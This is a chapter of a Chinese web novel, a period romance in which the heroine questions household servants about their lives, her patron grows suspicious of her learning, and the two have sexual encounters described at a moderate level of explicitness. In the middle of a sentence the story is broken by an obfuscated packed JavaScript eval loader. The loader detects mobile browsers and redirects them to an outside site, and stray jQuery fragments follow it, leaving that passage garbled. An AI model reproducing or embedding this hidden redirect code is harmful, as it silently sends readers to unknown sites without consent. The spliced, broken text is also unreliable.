傅翊的索求无度,阮平并无忧虑,新鲜感是有时效性的,傅翊早晚有一天会腻了她。
她猜测,这个时间大概在一两个月左右。
果不其然,一个月之后,日日都来的傅翊,突然就不来了,还是连着几天都不见人影的那种。
偏偏那几天正赶上阮平的排卵期,被激素所控制,她还挺想这男人的。
狗男人,该在不在,不该在的时候天天在。
阮平在心里大骂他没有男德!
好在女性的需求是比较深层次的,她虽然有些杂七杂八的念头,但做些其他事情转移了注意力,也就不再惦记着那点床帷之事了。
她转移注意力的方式,就是研究宅子里的这些人。
经过观察,她发现院子里的人根据来路不同,对她的态度也截然不同。
周妈妈和碧露应该知道她只是个替身,不会被抬到明面上去做妾,更不可能被扶正,所以对她是没什么敬重可言的。
但她们的职业素养在那里,所以做事很靠谱。
而其他新买来的下人则恰好相反,小莲等人虽然做事能力一般,但对她还算尊敬,大概是期待着她从外室转为有名分的妾室,跟着她吃香喝辣。
这不是阮平胡乱猜测的,是她旁敲侧击问出来的。
傅翊消失的这几天,她已经把小莲、小翠、王妈、吴妈的底细都打探清楚了。
小莲、小翠果然是新采买来的,签的是死契,和她一样,在这个等级分明的时代里,生是傅家的人,死是傅家的鬼。
王妈、吴妈是雇佣工,签的是活契,但也签了十年,且条约很苛刻,契约存续期间,和小莲、小翠也大差不差。
两方的区别主要体现在,王妈、吴妈干的活最累,得的工钱最少,但她们可以每月回家一次。
还有就是,傅家对王、吴二人没有生杀予夺的权利。
皆有利弊。
如果问她们目前最想要的是什么,小莲、小翠的回答是,早日成为像碧露那样的大丫鬟,月钱多,活轻省,还体面。
王妈和吴妈的回答是,希望涨点工钱,或者多得些赏赐,好贴补家里的穷儿孙们。
命苦。
阮平最终得出了这样一个结论。
和她上辈子一样,超级命苦。
做牛马的初级目标,都不是不做牛马,而是成为优秀的牛马。
不做牛马,那是终极目标。
除了小莲、小翠、王妈、吴妈,阮平也想探究探究周妈妈和碧露来着。
奈何这两个人嘴巴紧得很,关于自家底细的事情,一概不肯和她说。
她的宅子人员研究行动,在周妈妈和碧露这里短暂地碰了个壁,阮平也不强求,立即就把目光转向了厨娘胡大娘。
几天过去,宅子里的下人比阮平这个正主还希望傅翊早日回来。
因为他不在的日子,阮平实在太闲,太烦人了。
“你最喜欢做什么?”
“你觉得生活是什么?”
“你觉得人生是有意义的?还是没意义的?”
“你喜欢现在的生活吗?为什么?”
……
从周妈妈到守门的白老头,宅子里的每个人都被她缠着问了一堆类似的不着边际问题。
若是不回答,她就会不停地追问为什么不回答?是没想过?还是不愿意告诉她?
若是回答了,那更不得了了,她就像是被触发了什么机关似的,能拉着你聊上几个时辰不带歇的。
宅子里的人现在见到她就躲,实在躲不开,就假装自己很忙,没时间聊天。
胡大娘把灶台擦了又擦,灶台亮得都能当镜子照了。
这还不够,她厨房里的活就那么些,早上把下午的活做了,下午把晚上的活做了,到了晚上,就无事可做了,总能被阮平逮到空闲的时候。
胡大娘第一次觉得,厨房活原来这么少,都不够干。
其他人也如此觉得。
一座两进的宅子,被拾掇了又拾掇,整理了又整理,地上都找不见一片树叶子。
等傅翊终于再次来宅子时,所有人都长长地松了一口气。
这下,阮平该没有空闲找他们聊天了。
傅翊听完周妈妈和碧露满腹委屈的控诉之后,有些讶异,也有些好笑。
他也以为,是因为他几日没来,阮平自觉被冷落了,心中落寞,所以才到处找人说话。
可晚上和阮平闲话家常时,他就知道自己想错了。
阮平并不是心中落寞才找人说话,她就是想和人讨论那些虚无缥缈的话题。
准确地说,她是喜欢和人探讨一些关于心学、神学的话题。
傅翊来了兴趣,就着“人生究竟有没有意义”这一点和她探讨了一番,发现她居然很有些独到的见解和感悟。
熄灯就寝时,傅翊回想着阮平的观点,以及庞杂广博的理论依据,越回想越觉得不对劲。
这可不像是只读过几本书,认得一些字的人该有的见解。
第二天,他派了人重新去打听阮平的过往。
打听出来的结果是:阮平从未念过书,更认不得字。
傅翊眸中闪过一丝危险的微光,那事情可就有意思了。
既然阮家村的阮平是个不识字的,那么昨晚讲学讲得头头是道的阮平,又是谁?
“你的字是谁教的?”傅翊翻出阮平习字的纸张,问道。
“怎么了?”阮平道,“怎么突然问这个?”
“没什么。”傅翊道,“就是觉得有些奇怪,你的字……”
他斟酌了一下措辞,“……怎么都缺胳膊少腿的?”
而且还丑,无神,无骨,勉强有一个字的形态。
如果一定要说出一个优点的话,大概是,排列得还算齐整。
还有一点比较奇怪的是,阮平的书写习惯居然不是竖着的,而是横着的。
“你的字,谁教的?”他再次问道,眼神之中透露出明显的审视意味。
“旧情人教的。”阮平开始胡说八道,“不过你不用介意,都已经是过去式了,那人嫌我家穷,早已另娶他人。”
傅翊:“………”这个答案,是他万万没想到的。
他放下了手中的纸,没再询问其他,沉默地走出了书房。
阮平不解地摸了摸头,怎么她说她的旧情人另娶他人,他看着比她还伤心?
莫非是,“旧情人”这三个字触动了他的伤心事?
夜间,阮平就知道自己猜对了。
因为傅翊是一身酒气地回来的,明显刚才就是喝酒解愁去了。
醉得不算太厉害,除了脸有些红,神志还算清醒,也能自己行走、宽衣。
阮平不太熟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818500|175433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练地帮他洗漱了一下,才刚要替他擦干水,就被一把拽进了浴桶里。
爱欲来得汹涌而猛烈,阮平双手撑在浴桶边缘,又快乐又痛苦地承受着身后一次又一次地掠夺。
到后来,她已经疲累得手指都抬不起来了,傅翊将她抱到床上之后,居然还有余力。
不过,阮平也不太抗拒就是了。
孤枕这么多天,她也是挺想的。
床闱之间,纱帐垂落,烛光朦胧,暧昧的氛围下,阮平也重新起了情意。
她抬手搂住傅翊,主动送上红唇,索要温存。
傅翊热情地回应着她,情动之间,神志模糊,叫出了一声:“雪儿。”
阮平以为他在玩情趣,回了一句:“雨儿?冰雹儿?”
一下子把傅翊噎得半死。
话一出口,她也把自己逗得哈哈直笑,瞬间什么气氛都没有了。
“你……你真是……”傅翊没好气地把她推出怀中,实在不知道该怎么评价她的这出神来之笔。
哪个女子会在此时,回这样一句话出来?
言语奇怪就算了,她还自己把自己逗得快笑抽过去了。
他想,阮平作为一个外室,实在是很不合格。
或许周妈妈说得对,该请个教养嬷嬷好好教教她规矩礼仪,尤其是,这床闱之间的规矩。
结果,教养嬷嬷还没请来,阮平自己倒是研究起了房中术。
她是一个喜欢研究的人,不仅喜欢研究人的行为,还喜欢研究新事物,但大都是三分钟热度。
这不,宅子里的人她还没研究明白,就又突然转去研究两性关系了。
也不知是受激素控制,还是小别胜新欢,傅翊失踪几天再回来,她就对他特别感兴趣,尤其是,在床上的他。
既然感兴趣,就要积极地去研究,深入地研究。
她先是去书房搜罗了一番,想看看有没有理论指导书,找了一圈,还真叫她找出了几本特别的画册和话本子。
世家出品,必是精品。
阮平看着栩栩如生的图画,以及文笔老练的话本词句,只觉得浑身都热了起来。
俗话说,饱暖思那啥啥,她现在也是迈过温饱线,追求更高一层需求的人了。
“这个动作不行,我不舒服。”
到了晚间,阮平把精心挑选的图册和话本摆在床头,与傅翊一一交流。
傅翊只能停下来,认命地翻到下一页,换一个新姿势。
“这个好。”阮平中肯地评价道,“比较符合人体学,你觉得呢?你是什么感受?”
饶是傅翊比她年长几岁,这一刻也被她问得面红耳赤,说不出话来。
这种事情,是可以这样研究的吗?
“闭嘴。”他最后把话本、图册通通扫到了床下,专心用自己的方式让她舒服。
可动作间,不免还是会想到她之前所说的话,什么这个动作好,那个动作不好,我这样的神情就表示舒服,那样的神情就表示不舒服。
到后来,他终究还是受她影响,用了她最喜欢的方式。
到底谁是谁的外室?
看着旁边餍足而睡的女人,傅翊不禁想。
“简直无法无天!”他轻轻地揪了一下阮平软软的脸颊。
她就像她的名字一样,软软的,平平的,摊着手脚,躺得简直不要太舒服。